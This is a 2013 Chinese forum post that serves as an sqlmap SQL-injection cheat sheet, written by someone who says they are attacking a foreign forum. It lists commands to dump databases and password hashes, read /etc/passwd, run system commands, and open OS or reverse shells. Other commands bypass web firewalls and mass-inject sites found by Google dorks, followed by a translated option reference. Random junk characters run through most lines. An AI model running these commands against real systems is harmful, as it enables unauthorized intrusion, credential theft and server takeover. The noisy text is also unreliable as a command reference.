找回密码
 立即注册
查看: 3410|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
/ I3 q+ y) y) W  F  N7 xsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称" d: d3 A0 g4 G' V0 {4 E
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
! j' ~  ?1 r, m5 ]+ Vsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
8 `% o% G- [5 Z0 Q. p3 ?  y
, M. |- a6 [% o. Jsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
) j! v3 r# Y- _0 p* x. S0 #获取字段内容, |" Y( v+ l+ H* \( _; C+ o1 C0 G

* z4 Q: n3 b' j; C3 ]0 l, `( o) Y" r******************信息获取******************
$ D& T& L6 G% z) z' X( _$ Psqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型' p9 W% k5 }6 O
sqlmap -u “http://url/news?id=1″ –users #列数据库用户- l9 r- I+ c' u8 ^/ \
sqlmap -u “http://url/news?id=1″ –dbs#列数据库0 @; K% G; U  s
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
' k' ]/ L- p4 j3 h# x1 Z* Osqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
, J' y/ k+ H# z$ {9 V5 b! e  Ssqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
* S$ x* h, A0 K* r& \' U6 X–start 1 –stop 20 #列出指定字段,列出20 条$ ]6 I) T8 p# s/ m, P  {! ^
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
, s1 C& d' [6 _2 F. d1 x5 s  h4 B1 W  F1 fsqlmap -u “http://url/news?id=1″ –privileges #查看权限. B2 e- `, R. T& t2 c
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色. X# w* r  {( m9 a: ~
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
- X  F% j9 b1 F1 }6 Nsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表. |+ B4 j. x# q6 z
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
( U" @! w9 h6 ?% \$ r: t' i6 Xsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入: P$ c; V$ h+ q/ _
sqlmap -u “http://url/news?id=1″-b #获取banner信息8 g3 J4 W# l/ ~8 ~% B2 A# [) ?
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
' ~1 }. p0 _( ^sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
# D: t0 E1 a7 u* K. x7 ]sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入& b$ y8 c. x8 A2 C9 u1 V
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词8 H) e0 H5 a2 s; Z, Y  L9 f
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令- m# q/ ^9 p, Q! K
sqlmap -u “http://url/news?id=1″ –file /etc/passwd" g6 L4 a( B: x8 e
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令( `$ X, P. J3 Y1 [- l! C- D9 B) t
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell9 K* T1 L: U/ ?3 c; ^* E. F: t3 A7 l
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
) V" z; Q2 T1 n9 Ysqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度+ L- z& R) {1 ]
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度9 O, `0 v$ h( q) y2 J
***********高级用法*************% j6 w! \0 k; k8 b! w5 n
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
9 q7 g. J. x: V% v$ [sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
4 k8 V; Y- v% ?- [- M' }+ o–technique   测试指定注入类型\使用的技术
* H) _6 b0 v+ a' v; o不加参数默认测试所有注入技术$ w8 L; ]/ o7 V* I
•     B: 基于布尔的SQL 盲注
8 O) O) ^: w* X0 w  L, M" `•     E: 基于显错sql 注入+ @5 j7 H7 J# ?* u0 v
•     U: 基于UNION 注入" G. ?. N) Z# Z- p" ~; S
•     S: 叠层sql 注入; ^" L6 E& \+ k, W* X/ c
•     T: 基于时间盲注$ i  M7 o' R  ?; ~/ C
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()% ?) e0 w: p, Z% o# \4 F  S
–tamper 插件所在目录
: c+ c; V4 n4 x+ @) ~. G\sqlmap-dev\tamper7 G6 s5 U" V& b
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能& H5 K7 ?! j3 J8 V6 t3 M
level 执行测试等级 攻击实例:
( l5 o9 `8 S( r" [. ^9 n! U* U+ n1 KSqlmap -u “http://url/news?id=1&Submit=Submit”
. }8 j6 I+ q6 v0 S2 S0 K" J–cookie=”PHPSESSID=41aa833e6d0d
' C- Q3 m* n3 F5 M8 a& f" C$ V28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
( `) V4 s% w: R5 q2 i0 s' Q( w–password
- J3 `/ O# _9 n  d参考文档:http://sqlmap.sourceforge.net/doc/README.html
( \+ J7 V5 f5 ]1 M) D***********安装最新版本*************
2 [0 S2 \. p5 i" k, B$ F6 o" u5 I) jubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
5 V! u4 K' O# \/ d: V7 o; O3 L8 tsudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev2 C. y2 e$ w' \* _6 _" _
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
# N6 \# G: j9 ?; fsudo vim /home/当前用户/.bashrc
9 q% Z2 q3 o- \& f5 x: M; C#任意位置加上:
$ G9 n# n! A2 F! `* yalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效  P, d. O0 I7 v. N$ D! a) [, X+ U' x9 C
如果想对所有用户有效 可设置全局 编辑下面的文件3 K; W% H- w! L+ `* n
vim /etc/profile! S3 H7 M: M& \) U
同样加上:; D" B# _( i7 d0 E" ~3 x
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效: q2 E" ?: l0 g
******************windows 7 (x64) sqlmap install (SVN)************- K3 B  o0 X+ O3 L3 x/ i
http://www.python.org/getit/ 安装python7 I  Q3 U, T& D% y
http://www.sliksvn.com/en/download 安装windows svn client1 Z( T& P2 A: h* ]5 ]# X
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev) K0 x8 G! K3 K. v8 ~
安装sqlmap
- A+ L& L: n0 u; F*修改环境变量
/ D5 Y5 m! b7 d, g–version             显示程序的版本号并退出
) U8 B1 b+ s# ]+ L5 ^  g-h, –help            显示此帮助消息并退出
3 F. u% d0 L- A- p/ s-v VERBOSE            详细级别:0-6(默认为1)
5 \5 u  x8 E0 H4 tTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。* k, t& y; T+ `) f* G0 z! J5 x4 P
-d DIRECT           直接连接到数据库。
" D% T8 s  J- _4 `1 _# y4 {-u URL, –url=URL   目标URL。7 B/ Z8 C1 X  L
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。- |& i, D# e; P6 o5 }- k$ \
-r REQUESTFILE      从一个文件中载入HTTP 请求。4 N$ {0 C8 v2 L( t. O7 o7 n) A! U
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。. `( r- w8 D( e8 _  B! L' }
-c CONFIGFILE       从INI 配置文件中加载选项。
! K5 E6 t0 B0 o. t& x9 s! P$ aRequest(请求)::$ [6 d! ^; {6 y* U0 p% j5 _4 ~
这些选项可以用来指定如何连接到目标URL。$ ^1 k* ?- I) w6 w4 c$ }
–data=DATA         通过POST 发送的数据字符串' u% Q" z2 k' J
–cookie=COOKIE     HTTP Cookie 头
/ o  z1 ?( c) O4 U2 V- J–cookie-urlencode  URL 编码生成的cookie 注入
/ G. ^. a. {& `( v–drop-set-cookie   忽略响应的Set –Cookie 头信息1 e9 }% O: A% |% h) N- a" B" f. X

! o- ?8 Q) R: J1 _0 g–user-agent=AGENT  指定  HTTP User –Agent 头
1 D+ D/ _3 G8 I7 m* j–random-agent      使用随机选定的HTTP User –Agent 头
% G* F; }4 ~0 x0 E% z9 F1 {3 q" q–referer=REFERER   指定  HTTP Referer 头) G0 }! z" P/ X; ~
–headers=HEADERS   换行分开,加入其他的HTTP 头
- {. ]& ?$ P# g6 a1 r  j–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)3 Q* T# ^+ {7 ^3 ?+ N
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)6 o# z4 S9 @9 h
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file): B# T: j% ^8 v: i8 Y
–proxy=PROXY       使用HTTP 代理连接到目标URL  `1 w: T8 n- N
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
; B0 w/ g& `4 Z+ j6 d8 d–ignore-proxy      忽略系统默认的HTTP 代理; J) H$ F4 U  P% j4 j) J
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
0 h5 P4 N, r) B" E  l–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒); N. V& P! T! m8 e
–retries=RETRIES   连接超时后重新连接的时间(默认3)% L6 \9 r, ^% r8 x
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式' w7 V) J8 W0 u0 W
–safe-url=SAFURL   在测试过程中经常访问的url 地址2 c8 l! q6 W4 J! T
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL! x: t0 s# C1 H* E0 d3 ]
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
" s! P. G; Y$ g" Y-o                  开启所有优化开关
* S3 W: h2 A1 a5 d6 J, f2 d–predict-output    预测常见的查询输出0 f+ ?) k' `: m- V8 |4 J6 H% H
–keep-alive        使用持久的HTTP(S)连接
. x' g# C+ p& k$ g–null-connection   从没有实际的HTTP 响应体中检索页面长度
: J9 }& v5 c, ~. H–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)$ l) Y" N5 V  i+ X, m
Injection(注入):) G# D2 T/ Q. n; U* o" ^
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。6 [4 `5 q, n% y3 t* n- T/ O
-p TESTPARAMETER    可测试的参数(S)
9 N) Q; R* a" n, b, |( Q–dbms=DBMS         强制后端的DBMS 为此值5 `3 ]2 ]8 Y' e& p/ a7 J# z* ?1 Z
–os=OS             强制后端的DBMS 操作系统为这个值; M4 L7 L- a/ `
–prefix=PREFIX     注入payload 字符串前缀
3 H, A1 N4 m/ G( R–suffix=SUFFIX     注入 payload 字符串后缀. c/ I/ i8 p1 m/ U' Q
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据+ \5 K: Y0 K& C- n
Detection(检测):& c. n: _4 E# c+ p5 R! t
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。/ Y8 U. ~: b* u; O1 w, ^$ D0 g
–level=LEVEL       执行测试的等级(1-5,默认为1)
' d+ e7 [5 U; a–risk=RISK         执行测试的风险(0-3,默认为1)
' K! c% X) K. G1 i$ r3 z–string=STRING     查询时有效时在页面匹配字符串
. S0 ~: I0 t2 w2 B' j–regexp=REGEXP     查询时有效时在页面匹配正则表达式  a6 \- o( Z* n1 q# j
–text-only         仅基于在文本内容比较网页
7 ]- S% m# t2 Y6 T7 W+ Z* w8 N) ?Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
! @/ \( J1 T1 d1 H* B( g' ]) G–technique=TECH    SQL 注入技术测试(默认BEUST)
  w& u8 [0 b* _, x% M–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
7 a# ~6 C& _2 N1 g' t* G–union-cols=UCOLS  定列范围用于测试UNION 查询注入; W" P- Z6 M* K, f3 a  v% W5 @
–union-char=UCHAR  用于暴力猜解列数的字符
$ A9 h5 h& A0 B( g; NFingerprint(指纹):
1 F3 ?  C7 v7 h-f, –fingerprint     执行检查广泛的DBMS 版本指纹$ L: T- n& e* y& u
Enumeration(枚举):% f$ r' A  O, J+ H8 a

" b" r7 ?6 u4 f. ?这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。% Z- _: U- @% k, F, N6 Q' H
-b, –banner        检索数据库管理系统的标识
# N3 X$ O) q" C% u6 a–current-user      检索数据库管理系统当前用户
5 t( l4 \! r& A; i–current-db        检索数据库管理系统当前数据库) E3 H/ e9 U! E. v% `- \" V6 z5 ]
–is-dba            检测DBMS 当前用户是否DBA
, E; ]3 [( z- \' y5 h# g–users             枚举数据库管理系统用户5 D- [/ k5 W$ o" B, D
–passwords         枚举数据库管理系统用户密码哈希' k3 O6 V6 ]; o6 p1 A
–privileges        枚举数据库管理系统用户的权限
8 o: Y( M, Q! w  }! Q/ i7 h–roles             枚举数据库管理系统用户的角色8 w0 E! t- B/ ?. A  i5 I3 l+ ^  d
–dbs               枚举数据库管理系统数据库- P( N4 s% |; b- D) j
–tables            枚举的DBMS 数据库中的表/ z+ r, m6 Y7 u1 U6 q' K
–columns           枚举DBMS 数据库表列" _. }" R1 `# J- W* y) G8 }& q
–dump              转储数据库管理系统的数据库中的表项" D1 P, E6 s5 s( N; V1 g
–dump-all          转储所有的DBMS 数据库表中的条目
/ n. G, o" _/ C  {. x–search            搜索列(S),表(S)和/或数据库名称(S)
% T: A: k4 t6 t/ ~-D DB               要进行枚举的数据库名- r. r+ h8 Y, m4 K/ d9 g' w1 q# X. V
-T TBL              要进行枚举的数据库表4 H- F! {: y8 t+ A, ?  Y% T
-C COL              要进行枚举的数据库列
: i8 t. d2 k& x3 _8 J8 p8 Y/ B6 Z7 t( \& n-U USER             用来进行枚举的数据库用户
' [8 X/ K& z" u/ O1 R! ^0 s–exclude-sysdbs    枚举表时排除系统数据库
6 a$ p. t! g5 {' r7 I/ X4 w–start=LIMITSTART  第一个查询输出进入检索
1 g% J% T( U( e$ o4 I  m/ _: U$ p–stop=LIMITSTOP    最后查询的输出进入检索% I' ?. Y$ m8 R/ e: p$ Q
–first=FIRSTCHAR   第一个查询输出字的字符检索
! A3 J$ C: [; q–last=LASTCHAR     最后查询的输出字字符检索" s% t/ y' b$ S5 p
–sql-query=QUERY   要执行的SQL 语句
/ N6 S9 f/ x0 c, A" d5 m- @4 C–sql-shell         提示交互式SQL 的shell' A, G9 L9 Q( K# F8 P  e: G
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
) b& M: x: ~* K  G2 _! D–common-tables     检查存在共同表
* c4 B% `8 U$ v- @6 d3 ?; |–common-columns    检查存在共同列4 [, [+ w% i, I) X! s. v% X; z; F
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。! @1 c1 D& F" t' Q$ ~
–udf-inject        注入用户自定义函数
& f3 u6 |" ]+ W% h  S3 F–shared-lib=SHLIB  共享库的本地路径
0 d  e0 o; \( y5 YFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
/ |* a* Q1 m2 l–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
0 t  A' j# l  c- ^, `6 @–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件+ R  h2 e1 P+ `; b" Z7 Z; U
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径4 i8 Z0 n8 c8 ?
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。' B. z3 t& M' g
–os-cmd=OSCMD      执行操作系统命令1 G% t: b5 k5 q/ e; G
–os-shell          交互式的操作系统的shell
' w1 A7 c4 O$ O9 k" F) e( P–os-pwn            获取一个OOB shell,meterpreter 或VNC
9 F" V& s  i& t0 o–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC5 V5 {# X3 m* a8 X9 [: ~
–os-bof            存储过程缓冲区溢出利用
+ |' h! \; z+ O3 H- g. ]–priv-esc          数据库进程用户权限提升& @$ v* j& c) b- v" a
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
1 L' P& ~+ Z* B  \–tmp-path=TMPPATH  远程临时文件目录的绝对路径
0 s8 \' a) ~& p0 F& }+ I % {+ z3 F5 T6 S: ~/ }8 [+ F" V- S
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
0 c0 k& x5 n# P, j( h+ X; W–reg-read          读一个Windows 注册表项值. v: O4 K4 _% M5 ~8 n9 e' }8 N
–reg-add           写一个Windows 注册表项值数据: M& n/ x! b0 P; {
–reg-del           删除Windows 注册表键值8 c- X+ T; ?4 u; u- T
–reg-key=REGKEY    Windows 注册表键# j2 R( n: F9 V% H2 L& i8 t, X
–reg-value=REGVAL  Windows 注册表项值
; M) {3 _% y5 B: e–reg-data=REGDATA  Windows 注册表键值数据( P' \; F: y. f( q) f5 r
–reg-type=REGTYPE  Windows 注册表项值类型
7 N! _2 o" z& I" DGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
6 X+ [0 R$ ~, j) d1 y5 v6 ]-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
2 v% J3 p9 l7 v3 }, `-s SESSIONFILE      保存和恢复检索会话文件的所有数据  s: ^( a; y2 V% M- U' w3 n  c
–flush-session     刷新当前目标的会话文件! i6 h0 w! A, S4 o0 T% l3 g: Q7 s! L
–fresh-queries     忽略在会话文件中存储的查询结果' n  Z2 w% R0 ^& l" b! N
–eta               显示每个输出的预计到达时间# X, Q1 Y1 F. X( V2 q9 J  s
–update            更新SqlMap) L0 @" u3 m# O
–save              file 保存选项到INI 配置文件- C& k$ i& h7 K) w# A8 ^. v
–batch             从不询问用户输入,使用所有默认配置。$ Q2 n1 h" }! G! N" O
Miscellaneous(杂项):3 Q$ S, H6 [) H
–beep              发现SQL 注入时提醒
7 K8 {! }2 J& ^) }–check-payload     IDS 对注入payloads 的检测测试8 _1 p8 G0 g+ t7 ~. j$ }5 K
–cleanup           SqlMap 具体的UDF 和表清理DBMS- b$ O7 a5 x+ x/ g5 b
–forms             对目标URL 的解析和测试形式1 b& d# y2 R, C- D
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
' O5 W4 z' ?; r" I7 K4 j7 P' h–page-rank         Google dork 结果显示网页排名(PR), k# Y6 p  x5 K+ O& B1 I
–parse-errors      从响应页面解析数据库管理系统的错误消息7 G4 n& f7 N( H) h5 N
–replicate         复制转储的数据到一个sqlite3 数据库2 a, ^5 G+ R9 B; t& c$ s
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址: o0 z# `. x* f8 `. Q. W
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表